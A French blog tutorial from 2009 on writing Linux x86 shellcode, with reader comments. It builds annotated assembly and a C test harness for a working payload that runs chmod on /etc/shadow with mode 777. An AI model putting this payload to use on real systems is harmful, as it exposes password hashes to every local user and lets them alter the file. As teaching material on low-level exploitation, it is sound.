mardi 24 mars 2009

ShellCoding For Dummies

Aujourd'hui un petit cours de shellcoding (sous Linux).
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:

1] Repérer le(s) appel(s) Système à utiliser.


Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)

Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":


sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306



EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!

On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.

2] Programmer notre Shellcode

xor %eax,%eax ; On met 0 dans eax
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption


3] Assembler & Linker tout ca

$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o


4] Notre Shellcode




On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}





Et voila :) have fun!

8 commentaires:

Geo a dit…

Tu me manques, mon p'tit bichon. Bouhouhou j'suis malheureux.
</deconne>

Salut, prédecesseur ! J'ai pas encore lu ton article, mais t'inquiète que ça m'intéressera tôt ou tard.

Allez, à la prochaine. ;)

Geo'

Unknown a dit…

Très bien fait ton article, j'aurais juste besoin d'une petite précision :

push $0x776f6461 ; On dépose "/etc/passwd sur la pile"
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)

J'ai bien comprit l'histoire du \0 en C. Seul truc, pourquoi faire un push $0x776f6461 ? je comprends pas pourquoi ça dépose /etc/passwd sur la pile ?

Les deux autres push's sont là pour le \0 ?

Merci d'avance,

A+

sm0k a dit…

Hello, donc ce sont les 3 lignes qui déposent "/etc/shadow" sur la pile:

push $0x776f6461
; Dépose "woda"

push $0x68732f63
; Dépose "hs/c"

push $0x74652f2f
; Dépose "te//"

Tu remarqueras qu'on double le premier / pour que la chaine de caractères remplisse bien les 3 mots mémoire( je pense qu'il est aussi possible de mettre des espaces en fin de chaine pour arriver au même résultat, mais je n'ai pas testé)

Byebye!

Unknown a dit…

Mmmh d'accord, niquel ben merci beaucoup pour l'explication, super sympa ;)

Anonyme a dit…

géniale merci vos travaux sont très intéressant.

sm0k a dit…

Merci du compliment :) j'espere reposter un jour si mon boulot m'en laisse le temps...

Anonyme a dit…

Désolé de déterrer l'article qui date de 2009, mais pour les litlle endian, il faudrait pas le préciser à objdump ou c'est la même chose ?

sm0k a dit…

Yo,

-EL

--endian={big|little}
Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

D'après la dernière phrase, logiquement objdump s'adapte, mais tu peux toujours le spécifier toi même :)

Et pas de pb pour le déterrage de post!